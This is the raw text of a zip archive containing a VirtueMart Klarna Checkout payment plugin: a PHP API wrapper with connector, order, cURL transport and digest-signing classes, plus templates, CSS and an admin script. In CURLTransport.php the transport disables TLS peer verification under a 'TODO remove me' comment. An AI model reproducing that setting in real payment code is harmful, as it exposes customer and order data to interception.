'/HTTP/CURLHandleInterface.php'; require_once KLARNA_CHECKOUT_DIR . '/HTTP/Request.php'; require_once KLARNA_CHECKOUT_DIR . '/HTTP/Response.php'; require_once KLARNA_CHECKOUT_DIR . '/HTTP/Transport.php'; require_once KLARNA_CHECKOUT_DIR . '/HTTP/CURLTransport.php'; require_once KLARNA_CHECKOUT_DIR . '/HTTP/CURLHeaders.php'; require_once KLARNA_CHECKOUT_DIR . '/HTTP/CURLHandle.php'; require_once KLARNA_CHECKOUT_DIR . '/HTTP/CURLFactory.php'; PK]y>\[}}Ovmpayment/klarnacheckout/klarnacheckout/library/Checkout/ConnectorException.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Connector exception * * @category Payment * @package Klarna_Checkout * @author Rickard D. * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_ConnectorException extends Klarna_Checkout_Exception { }PK]y>\)&&Kvmpayment/klarnacheckout/klarnacheckout/library/Checkout/BasicConnector.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Basic implementation of the connector interface * * @category Payment * @package Klarna_Checkout * @author Rickard D. * @author Christer G. * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_BasicConnector implements Klarna_Checkout_ConnectorInterface { /** * Klarna_Checkout_HTTP_TransportInterface Implementation * * @var Klarna_Checkout_HTTP_TransportInterface */ protected $http; /** * Digester class * * @var Klarna_Checkout_Digest */ protected $digester; /** * Shared Secret used to sign requests * * @var string */ private $_secret; /** * Create a new Checkout Connector * * @param Klarna_Checkout_HTTP_TransportInterface $http transport * @param Klarna_Checkout_Digest $digester Digest Generator * @param string $secret shared secret */ public function __construct( Klarna_Checkout_HTTP_TransportInterface $http, Klarna_Checkout_Digest $digester, $secret ) { $this->http = $http; $this->digester = $digester; $this->_secret = $secret; } /** * Create the user agent identifier to use * * @return Klarna_Checkout_UserAgent */ protected function userAgent() { return new Klarna_Checkout_UserAgent(); } /** * Applying the method on the specific resource * * @param string $method Http methods * @param Klarna_Checkout_ResourceInterface $resource resource * @param array $options Options * * @return mixed */ public function apply( $method, Klarna_Checkout_ResourceInterface $resource, array $options = null ) { switch ($method) { case 'GET': case 'POST': return $this->handle($method, $resource, $options, array()); default: throw new InvalidArgumentException( "{$method} is not a valid HTTP method" ); } } /** * Gets the underlying transport object * * @return Klarna_Checkout_HTTP_TransportInterface Transport object */ public function getTransport() { return $this->http; } /** * Set content (headers, payload) on a request * * @param Klarna_Checkout_ResourceInterface $resource Klarna Checkout Resource * @param string $method HTTP Method * @param string $payload Payload to send with the * request * @param string $url URL for request * * @return Klarna_Checkout_HTTP_Request */ protected function createRequest( Klarna_Checkout_ResourceInterface $resource, $method, $payload, $url ) { // Generate the digest string $digest = $this->digester->create($payload . $this->_secret); $request = $this->http->createRequest($url); $request->setMethod($method); // Set HTTP Headers $request->setHeader('User-Agent', (string)$this->userAgent()); $request->setHeader('Authorization', "Klarna {$digest}"); $request->setHeader('Accept', $resource->getContentType()); if (strlen($payload) > 0) { $request->setHeader('Content-Type', $resource->getContentType()); $request->setData($payload); } return $request; } /** * Get the url to use * * @param Klarna_Checkout_ResourceInterface $resource resource * @param array $options Options * * @return string Url to use for HTTP requests */ protected function getUrl( Klarna_Checkout_ResourceInterface $resource, array $options ) { if (array_key_exists('url', $options)) { return $options['url']; } return $resource->getLocation(); } /** * Get the data to use * * @param Klarna_Checkout_ResourceInterface $resource resource * @param array $options Options * * @return array data to use for HTTP requests */ protected function getData( Klarna_Checkout_ResourceInterface $resource, array $options ) { if (array_key_exists('data', $options)) { return $options['data']; } return $resource->marshal(); } /** * Throw an exception if the server responds with an error code. * * @param Klarna_Checkout_HTTP_Response $result HTTP Response object * * @throws Klarna_Checkout_HTTP_Status_Exception * @return void */ protected function verifyResponse(Klarna_Checkout_HTTP_Response $result) { // Error Status Code recieved. Throw an exception. if ($result->getStatus() >= 400 && $result->getStatus() <= 599) { throw new Klarna_Checkout_ConnectorException( $result->getData(), $result->getStatus() ); } } /** * Act upon the status of a response * * @param Klarna_Checkout_HTTP_Response $result response from server * @param Klarna_Checkout_ResourceInterface $resource associated resource * @param array $visited list of visited locations * * @return Klarna_Checkout_HTTP_Response */ protected function handleResponse( Klarna_Checkout_HTTP_Response $result, Klarna_Checkout_ResourceInterface $resource, array $visited = array() ) { // Check if we got an Error status code back $this->verifyResponse($result); $url = $result->getHeader('Location'); switch ($result->getStatus()) { case 301: // Update location and fallthrough $resource->setLocation($url); case 302: // Don't fallthrough for other than GET if ($result->getRequest()->getMethod() !== 'GET') { break; } case 303: // Detect eternal loops if (in_array($url, $visited)) { throw new Klarna_Checkout_ConnectorException( 'Infinite redirect loop detected.', -1 ); } $visited[] = $url; // Follow redirect return $this->handle( 'GET', $resource, array('url' => $url), $visited ); case 201: // Update Location $resource->setLocation($url); break; case 200: // Update Data on resource $json = json_decode($result->getData(), true); if ($json === null) { throw new Klarna_Checkout_ConnectorException( 'Bad format on response content.', -2 ); } $resource->parse($json); } return $result; } /** * Perform a HTTP Call on the supplied resource using the wanted method. * * @param string $method HTTP Method * @param Klarna_Checkout_ResourceInterface $resource Klarna Order * @param array $options Options * @param array $visited list of visited locations * * @throws Klarna_Checkout_Exception if 4xx or 5xx response code. * @return Result object containing status code and payload */ protected function handle( $method, Klarna_Checkout_ResourceInterface $resource, array $options = null, array $visited = array() ) { if ($options === null) { $options = array(); } // Define the target URL $url = $this->getUrl($resource, $options); // Set a payload if it is a POST call. $payload = ''; if ($method === 'POST') { $payload = json_encode($this->getData($resource, $options)); } // Create a HTTP Request object $request = $this->createRequest($resource, $method, $payload, $url); // $this->_setContent($request, $payload, $method); // Execute the HTTP Request $result = $this->http->send($request); // Handle statuses appropriately. return $this->handleResponse($result, $resource, $visited); } } PK]y>\Pi%]]Fvmpayment/klarnacheckout/klarnacheckout/library/Checkout/Exception.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Basic exception class * * @category Payment * @package Klarna_Checkout * @author Majid G. * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_Exception extends Exception { }PK]y>\#+Uvmpayment/klarnacheckout/klarnacheckout/library/Checkout/ConnectionErrorException.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Connection exception * * @category Payment * @package Klarna_Checkout * @author Rickard D. * @author Christer G. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_ConnectionErrorException extends Klarna_Checkout_Exception { } PK]y>\Ovmpayment/klarnacheckout/klarnacheckout/library/Checkout/ConnectorInterface.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Interface for the resource object * * @category Payment * @package Klarna_Checkout * @author Majid G. * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ interface Klarna_Checkout_ConnectorInterface { /** * Applying the method on the specific resource * * @param string $method Http methods * @param Klarna_Checkout_ResourceInterface $resource resource * @param array $options Options * * @return void */ public function apply( $method, Klarna_Checkout_ResourceInterface $resource, array $options = null ); /** * Gets the underlying transport object * * @return Klarna_Checkout_HTTP_TransportInterface Transport object */ public function getTransport(); } PK]y>\R)J88Nvmpayment/klarnacheckout/klarnacheckout/library/Checkout/ResourceInterface.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Interface for the resource object * * @category Payment * @package Klarna_Checkout * @author Majid G. * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ interface Klarna_Checkout_ResourceInterface { /** * Get the URL of the resource * * @return string */ public function getLocation(); /** * Set the URL of the resource * * @param string $location URL of the resource * * @return void */ public function setLocation($location); /** * Return content type of the resource * * @return string Content type */ public function getContentType(); /** * Update resource with the new data * * @param array $data data * * @return void */ public function parse(array $data); /** * Basic representation of the object * * @return array data */ public function marshal(); } PK]y>\ `  Bvmpayment/klarnacheckout/klarnacheckout/library/Checkout/Order.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Implementation of the order resource * * @category Payment * @package Klarna_Checkout * @author Majid G. * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_Order implements Klarna_Checkout_ResourceInterface, ArrayAccess { /** * Base URI that is used to create order resources * * @var string */ public static $baseUri = null; /** * Content Type to use * * @var string */ public static $contentType = null; /** * URI of remote resource * * @var string */ private $_location; /** * Order data * * @var array */ private $_data = array(); /** * Connector * * @var Klarna_Checkout_ConnectorInterface */ protected $connector; /** * Create a new Order object * * @param Klarna_Checkout_ConnectorInterface $connector connector to use * @param string $uri uri of resource * * @return void */ public function __construct( Klarna_Checkout_ConnectorInterface $connector, $uri = null ) { $this->connector = $connector; if ($uri !== null) { $this->setLocation($uri); } } /** * Get the URL of the resource * * @return string */ public function getLocation() { return $this->_location; } /** * Set the URL of the resource * * @param string $location URL of the resource * * @return void */ public function setLocation($location) { $this->_location = strval($location); } /** * Return content type of the resource * * @return string Content type */ public function getContentType() { return self::$contentType; } /** * Replace resource data * * @param array $data data * * @return void */ public function parse(array $data) { $this->_data = $data; } /** * Basic representation of the object * * @return array Data */ public function marshal() { return $this->_data; } /** * Create a new order * * @param array $data data to initialise order resource with * * @return void */ public function create(array $data) { $options = array( 'url' => self::$baseUri, 'data' => $data ); $this->connector->apply('POST', $this, $options); } /** * Fetch order data * * @return void */ public function fetch() { $options = array( 'url' => $this->_location ); $this->connector->apply('GET', $this, $options); } /** * Update order data * * @param array $data data to update order resource with * * @return void */ public function update( array $data ) { $options = array( 'url' => $this->_location, 'data' => $data ); $this->connector->apply('POST', $this, $options); } /** * Get value of a key * * @param string $key Key * * @return mixed data */ public function offsetGet($key) { if (!is_string($key)) { throw new InvalidArgumentException("Key must be string"); } return $this->_data[$key]; } /** * Set value of a key * * @param string $key Key * @param mixed $value Value of the key * * @return void */ public function offsetSet($key, $value) { if (!is_string($key)) { throw new InvalidArgumentException("Key must be string"); } $value = print_r($value, true); throw new RuntimeException( "Use update function to change values. trying to set $key to $value" ); } /** * Check if a key exists in the resource * * @param string $key key * * @return boolean */ public function offsetExists($key) { return array_key_exists($key, $this->_data); } /** * Unset the value of a key * * @param string $key key * * @return void */ public function offsetUnset($key) { throw new RuntimeException( "unset of fields not supported. trying to unset $key" ); } } PK]y>\Cvmpayment/klarnacheckout/klarnacheckout/library/Checkout/index.htmlnuW+APK]y>\2}0a a Fvmpayment/klarnacheckout/klarnacheckout/library/Checkout/UserAgent.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * UserAgent string builder * * @category Payment * @package Klarna_Checkout * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_UserAgent { /** * Components of the user-agent * * @var array */ private $_fields; /** * Initialise user-agent with default fields */ public function __construct() { $this->_fields = array( 'Library' => array( 'name' => 'Klarna.ApiWrapper', 'version' => '1.1.0', ), 'OS' => array( 'name' => php_uname('s'), 'version' => php_uname('r') ), 'Language' => array( 'name' => 'PHP', 'version' => phpversion() ) ); } /** * Add a new field to the user agent * * @param string $field Name of field * @param array $data data array with name, version and possibly options * * @return void */ public function addField($field, array $data) { if (array_key_exists($field, $this->_fields)) { throw new Klarna_Checkout_Exception( "Unable to redefine field {$field}" ); } $this->_fields[$field] = $data; } /** * Serialise fields to a user agent string * * @return string */ public function __toString() { $parts = array(); foreach ($this->_fields as $key => $value) { $parts[] = "$key/{$value['name']}_{$value['version']}"; if (array_key_exists('options', $value)) { $parts[] = '(' . implode(' ; ', $value['options']) . ')'; } } return implode(' ', $parts); } } PK]y>\=$jRggKvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/Transport.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Factory of HTTP Transport * * @category Payment * @package Payment_Klarna * @subpackage Unit_Tests * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_HTTP_Transport { /** * Create a new transport instance * * @return Klarna_Checkout_HTTP_TransportInterface */ public static function create() { return new Klarna_Checkout_HTTP_CURLTransport( new Klarna_Checkout_HTTP_CURLFactory ); } } PK]y>\ݲsgk k Tvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/TransportInterface.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Interface for a Klarna HTTP Transport object * * @category Payment * @package Payment_Klarna * @subpackage Interfaces * @author Klarna * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ interface Klarna_Checkout_HTTP_TransportInterface { /** * Specifies the number of seconds before the connection times out. * * @param int $timeout number of seconds * * @throws InvalidArgumentException If the specified argument * is not of type integer. * @return void */ public function setTimeout($timeout); /** * Gets the number of seconds before the connection times out. * * @return int timeout in number of seconds */ public function getTimeout(); /** * Performs a HTTP request. * * @param Klarna_Checkout_HTTP_Request $request the HTTP request to send. * * @throws Klarna_Checkout_ConnectionErrorException Thrown for unspecified * network or hardware issues. * @return Klarna_Checkout_HTTP_Response */ public function send(Klarna_Checkout_HTTP_Request $request); /** * Creates a HTTP request object. * * @param string $url the request URL. * * @throws InvalidArgumentException If the specified argument * is not of type string. * @return Klarna_Checkout_HTTP_Request */ public function createRequest($url); } PK]y>\Hvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/index.htmlnuW+APK]y>\% Mvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/CURLHeaders.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * A simple class handling the header callback for cURL. * * @category Payment * @package Payment_Klarna * @subpackage HTTP * @author Klarna * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_HTTP_CURLHeaders { /** * Response headers, cleared for each request. * * @var array */ protected $headers; /** * Initializes a new instance of the HTTP cURL class. */ public function __construct() { $this->headers = array(); } /** * Callback method to handle custom headers. * * @param resource $curl the cURL resource. * @param string $header the header data. * * @return int the number of bytes handled. */ public function processHeader($curl, $header) { $curl = null; //TODO replace with regexp, e.g. /^([^:]+):([^:]*)$/ ? $pos = strpos($header, ':'); // Didn't find a colon. if ($pos === false) { // Not real header, abort. return strlen($header); } $key = substr($header, 0, $pos); $value = trim(substr($header, $pos+1)); $this->headers[$key] = trim($value); return strlen($header); } /** * Gets the accumulated headers. * * @return array */ public function getHeaders() { return $this->headers; } } PK]y>\Rd  Ovmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/CURLTransport.phpnuW+A * @copyright 2012 Klarna AB AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Klarna HTTP transport implementation for cURL * * @category Payment * @package Payment_Klarna * @subpackage HTTP * @author Klarna * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_HTTP_CURLTransport implements Klarna_Checkout_HTTP_TransportInterface { const DEFAULT_TIMEOUT = 10; /** * @var Klarna_Checkout_HTTP_CURLFactory */ protected $curl; /** * Number of seconds before the connection times out. * * @var int */ protected $timeout; /** * Initializes a new instance of the HTTP cURL class. * * @param Klarna_Checkout_HTTP_CURLFactory $curl factory to for curl handles */ public function __construct(Klarna_Checkout_HTTP_CURLFactory $curl) { $this->curl = $curl; $this->timeout = self::DEFAULT_TIMEOUT; } /** * Sets the number of seconds until a connection times out. * * @param int $timeout number of seconds * * @return void */ public function setTimeout($timeout) { $this->timeout = intval($timeout); } /** * Gets the number of seconds before the connection times out. * * @return int timeout in number of seconds */ public function getTimeout() { return $this->timeout; } /** * Performs a HTTP request. * * @param Klarna_Checkout_HTTP_Request $request the HTTP request to send. * * @throws RuntimeException Thrown if a cURL handle cannot * be initialized. * @throws Klarna_Checkout_ConnectionErrorException Thrown for unspecified * network or hardware issues. * @return Klarna_Checkout_HTTP_Response */ public function send(Klarna_Checkout_HTTP_Request $request) { $curl = $this->curl->handle(); if ($curl === false) { throw new RuntimeException( 'Failed to initialize a HTTP handle.' ); } $url = $request->getURL(); $curl->setOption(CURLOPT_URL, $url); $method = $request->getMethod(); if ($method === 'POST') { $curl->setOption(CURLOPT_POST, true); $curl->setOption(CURLOPT_POSTFIELDS, $request->getData()); } // Convert headers to cURL format. $requestHeaders = array(); foreach ($request->getHeaders() as $key => $value) { $requestHeaders[] = $key . ': ' . $value; } $curl->setOption(CURLOPT_HTTPHEADER, $requestHeaders); $curl->setOption(CURLOPT_RETURNTRANSFER, true); $curl->setOption(CURLOPT_CONNECTTIMEOUT, $this->timeout); $curlHeaders = new Klarna_Checkout_HTTP_CURLHeaders(); $curl->setOption( CURLOPT_HEADERFUNCTION, array(&$curlHeaders, 'processHeader') ); // TODO remove me when real cert is in place $curl->setOption(CURLOPT_SSL_VERIFYPEER, false); $payload = $curl->execute(); $info = $curl->getInfo(); $curl->close(); /* * A failure occured if: * payload is false (e.g. HTTP timeout?). * info is false, then it has no HTTP status code. */ if ($payload === false || $info === false) { throw new Klarna_Checkout_ConnectionErrorException( "Connection to '{$url}' failed." ); } $headers = $curlHeaders->getHeaders(); // Convert Content-Type into a normal header $headers['Content-Type'] = $info['content_type']; $response = new Klarna_Checkout_HTTP_Response( $request, $headers, intval($info['http_code']), strval($payload) ); return $response; } /** * Creates a HTTP request object. * * @param string $url the request URL. * * @throws InvalidArgumentException If the specified argument * is not of type string. * @return Klarna_Checkout_HTTP_Request */ public function createRequest($url) { return new Klarna_Checkout_HTTP_Request($url); } } PK]y>\ʐӍUvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/CURLHandleInterface.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Defines a cURL handle interface * * @category Payment * @package Payment_Klarna * @subpackage HTTP * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ interface Klarna_Checkout_HTTP_CURLHandleInterface { /** * Set an option for the cURL transfer * * @param int $name option the set * @param mixed $value the value to be set on option * * @return void */ public function setOption($name, $value); /** * Perform the cURL session * * @return mixed response */ public function execute(); /** * Get information regarding this transfer * * @return array */ public function getInfo(); /** * Close the cURL session * * @return void */ public function close(); } PK]y>\03xIvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/Request.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Klarna HTTP Request class * * @category Payment * @package Payment_Klarna * @subpackage HTTP * @author Klarna * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_HTTP_Request { /** * @var string */ protected $url; /** * @var string */ protected $method; /** * @var array */ protected $headers; /** * @var string */ protected $data; /** * Initializes a new instance of the HTTP request class. * * @param string $url the request URL. * * @throws InvalidArgumentException If the specified argument * is not of type string. */ public function __construct($url) { $this->url = $url; $this->method = 'GET'; $this->headers = array(); $this->data = ''; } /** * Gets the request URL. * * @return string the request URL. */ public function getURL() { return $this->url; } /** * Specifies the HTTP method used for the request. * * @param string $method a HTTP method. * * @throws InvalidArgumentException If the specified argument * is not of type string. * @return void */ public function setMethod($method) { $this->method = strtoupper($method); } /** * Gets the HTTP method used for the request. * * @return string a HTTP method */ public function getMethod() { return $this->method; } /** * Specifies a header for the request. * * @param string $name the header name * @param mixed $value the header value * * @throws InvalidArgumentException If the argument name is not of type * string or an empty string. * @return void */ public function setHeader($name, $value) { $this->headers[$name] = strval($value); } /** * Gets a specific header for the request. * * @param string $name the header name * * @throws InvalidArgumentException If the specified argument * is not of type string. * @return string|null the header value or null if it doesn't exist */ public function getHeader($name) { if (!array_key_exists($name, $this->headers)) { return null; } return $this->headers[$name]; } /** * Gets the headers specified for the request. * * @return array */ public function getHeaders() { return $this->headers; } /** * Sets the data (payload) for the request. * * \code * $request->setMethod('POST'); * $request->setData('some data'); * \endcode * * @param string $data the request payload * * @throws InvalidArgumentException If the specified argument * is not of type string. * @return void */ public function setData($data) { $this->data = $data; } /** * Gets the data (payload) for the request. * * @return string the request payload */ public function getData() { return $this->data; } } PK]y>\*9w  Jvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/Response.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Klarna HTTP Response class * * @category Payment * @package Payment_Klarna * @subpackage HTTP * @author Klarna * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_HTTP_Response { /** * @var int */ protected $status; /** * @var Klarna_Checkout_HTTP_Request */ protected $request; /** * @var array */ protected $headers; /** * @var string */ protected $data; /** * Initializes a new instance of the HTTP response class. * * @param Klarna_Checkout_HTTP_Request $request the origin request. * @param array $headers the response HTTP headers. * @param int $status the HTTP status code. * @param string $data the response payload. */ public function __construct( Klarna_Checkout_HTTP_Request $request, array $headers, $status, $data ) { $this->request = $request; $this->headers = array(); foreach ($headers as $key => $value) { $this->headers[strtolower($key)] = $value; } $this->status = $status; $this->data = $data; } /** * Gets the HTTP status code. * * @return int HTTP status code. */ public function getStatus() { return $this->status; } /** * Gets the HTTP request this response originated from. * * @return Klarna_Checkout_HTTP_Request */ public function getRequest() { return $this->request; } /** * Gets specified HTTP header. * * @param string $name the header name. * * @throws InvalidArgumentException If the specified argument * is not of type string. * @return string|null Null if header doesn't exist, else header value. */ public function getHeader($name) { $name = strtolower($name); if (!array_key_exists($name, $this->headers)) { return null; } return $this->headers[$name]; } /** * Gets the headers specified for the response. * * @return array */ public function getHeaders() { return $this->headers; } /** * Gets the data (payload) for the response. * * @return string the response payload. */ public function getData() { return $this->data; } } PK]y>\- - Lvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/CURLHandle.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * A wrapper around the cURL functions * * @category Payment * @package Payment_Klarna * @subpackage HTTP * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_HTTP_CURLHandle implements Klarna_Checkout_HTTP_CURLHandleInterface { /** * cURL handle * @var resource */ private $_handle = null; /** * Create a new cURL handle */ public function __construct() { if (!extension_loaded('curl')) { throw new RuntimeException( 'cURL extension is requred.' ); } $this->_handle = curl_init(); } /** * Set an option for the cURL transfer * * @param int $name option the set * @param mixed $value the value to be set on option * * @return void */ public function setOption($name, $value) { curl_setopt($this->_handle, $name, $value); } /** * Perform the cURL session * * @return mixed response */ public function execute() { return curl_exec($this->_handle); } /** * Get information regarding this transfer * * @return array */ public function getInfo() { return curl_getinfo($this->_handle); } /** * Close the cURL session * * @return void */ public function close() { curl_close($this->_handle); } } PK]y>\)Gvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Ss!!Mvmpayment/klarnacheckout/klarnacheckout/library/Checkout/HTTP/CURLFactory.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Factory of cURL handles * * @category Payment * @package Payment_Klarna * @subpackage Unit_Tests * @author Klarna * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_HTTP_CURLFactory { /** * Create a new cURL handle * * @return Klarna_Checkout_HTTP_CURLHandle */ public function handle() { return new Klarna_Checkout_HTTP_CURLHandle(); } } PK]y>\⍮Cvmpayment/klarnacheckout/klarnacheckout/library/Checkout/Digest.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Class to handle the digesting of hash string * * @category Payment * @package Klarna_Checkout * @author Rickard D. * @author Christer G. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_Digest { /** * create a digest from a supplied string * * @param string $digestString string to hash * * @return string Base64 and SHA256 hashed string */ public function create($digestString) { return base64_encode(hash('sha256', $digestString, true)); } } PK]y>\N9!!Fvmpayment/klarnacheckout/klarnacheckout/library/Checkout/Connector.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ /** * Connector factory * * @category Payment * @package Klarna_Checkout * @author Rickard D. * @author Christer G. * @author David K. * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ class Klarna_Checkout_Connector { /** * Create a new Checkout Connector * * @param string $secret string used to sign requests * * @return Klarna_Checkout_ConnectorInterface */ public static function create($secret) { return new Klarna_Checkout_BasicConnector( Klarna_Checkout_HTTP_Transport::create(), new Klarna_Checkout_Digest, $secret ); } } PK]y>\)Bvmpayment/klarnacheckout/klarnacheckout/library/Checkout/.htaccessnuW+A Order allow,deny Deny from all PK]y>\`dϐBvmpayment/klarnacheckout/klarnacheckout/tmpl/response_received.phpnuW+A
PK]y>\"Cvmpayment/klarnacheckout/klarnacheckout/tmpl/cart_advertisement.phpnuW+AaddStyleDeclaration($css); $js = ' jQuery(document).ready(function( $ ) { $("#checkoutForm").hide(); }); '; if ($viewData ['hide_BTST']) { $js .= ' jQuery(document).ready(function( $ ) { $(".billto-shipto").hide(); $("#com-form-login").hide(); }); '; } $document = JFactory::getDocument(); $document->addScriptDeclaration ( $js); ?>

PK]y>\P%%@vmpayment/klarnacheckout/klarnacheckout/tmpl/display_payment.phpnuW+A > PK]y>\ۦBvmpayment/klarnacheckout/klarnacheckout/tmpl/render_pluginname.phpnuW+A PK]y>\)6vmpayment/klarnacheckout/klarnacheckout/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK]y>\ժkww9vmpayment/klarnacheckout/klarnacheckout/tmpl/order_fe.phpnuW+A
sofort_response_transaction; ?>
PK]y>\://7vmpayment/klarnacheckout/klarnacheckout/tmpl/index.htmlnuW+A PK]y>\\_;vmpayment/klarnacheckout/klarnacheckout/tmpl/show_order.phpnuW+A
PK]y>\=vmpayment/klarnacheckout/klarnacheckout/assets/css/index.htmlnuW+APK]y>\)<vmpayment/klarnacheckout/klarnacheckout/assets/css/.htaccessnuW+A Order allow,deny Deny from all PK]y>\ciCooEvmpayment/klarnacheckout/klarnacheckout/assets/css/klarnacheckout.cssnuW+A#checkoutForm { display: none; } .show_payment_logo { margin: 10px 0 5px 0; font-weight: bold; padding: 5px; float:none; clear:both; background-color: #FFFFFF !important; background:url(https://cdn.klarna.com/public/images/SE/logos/v1/basic/SE_basic_logo_std_blue-black.png?width=100) no-repeat; height: 40px; padding-left:100px !important; }PK]y>\9vmpayment/klarnacheckout/klarnacheckout/assets/index.htmlnuW+APK]y>\yh"":vmpayment/klarnacheckout/klarnacheckout/assets/js/admin.jsnuW+A/** * @package VmPayment PayPal * @author Jeremy Magne * @copyright Copyright (C) 2010 Daycounts.com. All Rights Reserved. * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ jQuery().ready(function($) { /************/ /* Handlers */ /************/ handleLogo = function() { var payment_logos = $("input[name='params[payment_logos]']:checked").val(); $('.show_payment_logo').parents('tr').hide(); if (payment_logos=='1') { $('.show_payment_logo').parents('tr').show(); } } /**********/ /* Events */ /**********/ $("input[name='params[payment_logos]']").change(function() { handleLogo(); }); /*****************/ /* Initial calls */ /*****************/ handleLogo(); }); PK]y>\);vmpayment/klarnacheckout/klarnacheckout/assets/js/.htaccessnuW+A Order allow,deny Deny from all 